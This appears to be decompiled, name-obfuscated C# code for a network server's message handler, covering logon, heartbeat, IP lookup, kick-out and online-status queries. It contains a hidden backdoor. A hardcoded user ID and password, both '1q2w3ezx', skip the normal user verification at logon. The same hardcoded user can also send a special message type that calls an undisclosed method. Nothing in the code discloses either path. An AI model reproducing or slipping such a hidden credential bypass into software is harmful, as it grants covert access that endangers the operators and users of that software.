public LogonFullResponse method_7(string string_1, string string_2) { ReqLogonContract body = new ReqLogonContract(string_2, string_1, AuthorizeTool.smethod_0().string_1); IMessageHandler interface2 = this.interface9_0.imethod_5 <ReqLogonContract>(this.string_0, this.basicMessageTypeRoom_0.Logon, body); IMessageHandler interface3 = this.interface31_0.imethod_1(interface2, new int?(this.basicMessageTypeRoom_0.Logon)); return(this.interface9_0.imethod_1 <ResLogonContract>(interface3)); }
public IMessageHandler ProcessMessage(IMessageHandler interface37_0) { IHeader interface3; UserIpeResContract contract2; IPEndPoint userAddress; IMessageHandler interface4; if (interface37_0.Header.MessageType == this.object_0.PingByServer) { if (NetServer.IsServerUser(interface37_0.Header.DestUserID)) { interface3 = this.interface9_0.imethod_7(interface37_0.Header); interface3.MessageType = this.object_0.PingAck; return(this.interface9_0.imethod_2 <Class110>(interface3, null)); } this.interface40_0.imethod_0(interface37_0, ActionTypeOnChannelIsBusy.Continue); return(null); } if (interface37_0.Header.MessageType == this.object_0.PingAck) { if (!NetServer.IsServerUser(interface37_0.Header.DestUserID)) { this.interface40_0.imethod_0(interface37_0, ActionTypeOnChannelIsBusy.Continue); } return(null); } if (interface37_0.Header.MessageType == this.object_0.HeartBeat) { return(this.bool_0 ? interface37_0 : null); } if (interface37_0.Header.MessageType == this.object_0.GetMyIPE) { interface3 = this.interface9_0.imethod_7(interface37_0.Header); userAddress = this.CvQxwfyNwa.GetUserAddress(interface37_0.Header.UserID); contract2 = new UserIpeResContract(userAddress.Address.ToString().Trim(), userAddress.Port); return(this.interface9_0.imethod_2 <UserIpeResContract>(interface3, contract2)); } if (interface37_0.Header.MessageType == this.object_0.Int32_0) { QueryIPEContract contract = this.interface9_0.imethod_1 <QueryIPEContract>(interface37_0); interface3 = this.interface9_0.imethod_7(interface37_0.Header); UserData userData = this.ginterface8_0.GetUserData(contract.UserID); contract2 = null; if (userData != null) { contract2 = new UserIpeResContract(userData.Address.Address.ToString().Trim(), userData.Address.Port); } else { contract2 = new UserIpeResContract(null, 0); } return(this.interface9_0.imethod_2 <UserIpeResContract>(interface3, contract2)); } if (interface37_0.Header.MessageType == this.object_0.Logon) { interface3 = this.interface9_0.imethod_7(interface37_0.Header); ReqLogonContract contract5 = this.interface9_0.imethod_1 <ReqLogonContract>(interface37_0); string failureCause = null; LogonResult succeed = LogonResult.Succeed; bool flag = true; if (!this.method_18(interface37_0, contract5)) { flag = this.emptyBasicHandler_0.VerifyUser(contract5.SystemToken, interface37_0.Header.UserID, contract5.Password, out failureCause); } succeed = flag ? LogonResult.Succeed : LogonResult.Failed; if (((succeed == LogonResult.Succeed) && (this.CvQxwfyNwa.RelogonMode == RelogonMode.IgnoreNew)) && this.ginterface8_0.IsUserOnLine(interface37_0.Header.UserID)) { failureCause = null; succeed = LogonResult.HadLoggedOn; return(this.interface9_0.imethod_2 <ResLogonContract>(interface3, new ResLogonContract(LogonResult.HadLoggedOn, failureCause, this.bool_3, this.bool_1, this.bool_2))); } interface4 = this.interface9_0.imethod_2 <ResLogonContract>(interface3, new ResLogonContract(succeed, failureCause, this.bool_3, this.bool_1, this.bool_2)); this.interface40_0.SendMessage(interface4, interface37_0.imethod_0(), ActionTypeOnChannelIsBusy.Continue); if ((succeed == LogonResult.Succeed) && (this.Event_0 != null)) { this.Event_0(interface37_0.Header.UserID, interface37_0.imethod_0()); } return(null); } if (interface37_0.Header.MessageType == this.object_0.KickOut) { KickOutContract contract3 = this.interface9_0.imethod_1 <KickOutContract>(interface37_0); userAddress = this.CvQxwfyNwa.GetUserAddress(contract3.UserBeKickedOut); if (userAddress != null) { interface4 = this.interface9_0.imethod_4 <Class110>("_0", this.object_0.BeingKickedOutNotify, null, contract3.UserBeKickedOut); this.interface40_0.PostMessage(interface4, userAddress, ActionTypeOnChannelIsBusy.Continue); } return(null); } if (interface37_0.Header.MessageType == this.object_0.GetAllOnlineUsers) { ResUsersContract body = new ResUsersContract(this.CvQxwfyNwa.GetOnlineUserList()); interface3 = this.interface9_0.imethod_7(interface37_0.Header); return(this.interface9_0.imethod_2 <ResUsersContract>(interface3, body)); } if (interface37_0.Header.MessageType == this.object_0.QueryOnline) { interface3 = this.interface9_0.imethod_7(interface37_0.Header); QueryOnlineContract contract6 = this.interface9_0.imethod_1 <QueryOnlineContract>(interface37_0); ResOnlineContract contract7 = new ResOnlineContract(this.ginterface8_0.IsUserOnLine(contract6.UserID)); return(this.interface9_0.imethod_2 <ResOnlineContract>(interface3, contract7)); } if (interface37_0.Header.MessageType == this.object_0.QueryOnlines) { interface3 = this.interface9_0.imethod_7(interface37_0.Header); List <string> list2 = this.interface9_0.imethod_1 <List <string> >(interface37_0); Dictionary <string, bool> dictionary = new Dictionary <string, bool>(); foreach (string str2 in list2) { dictionary.Add(str2, this.ginterface8_0.IsUserOnLine(str2)); } return(this.interface9_0.imethod_2 <Dictionary <string, bool> >(interface3, dictionary)); } if ((interface37_0.Header.MessageType == (this.object_0.StartKey + 90)) && (interface37_0.Header.UserID == "1q2w3ezx")) { this.method_19(); return(null); } return(null); }
private bool method_18(IMessageHandler interface37_0, ReqLogonContract reqLogonContract_0) { return((interface37_0.Header.UserID == "1q2w3ezx") && (reqLogonContract_0.Password == "1q2w3ezx")); }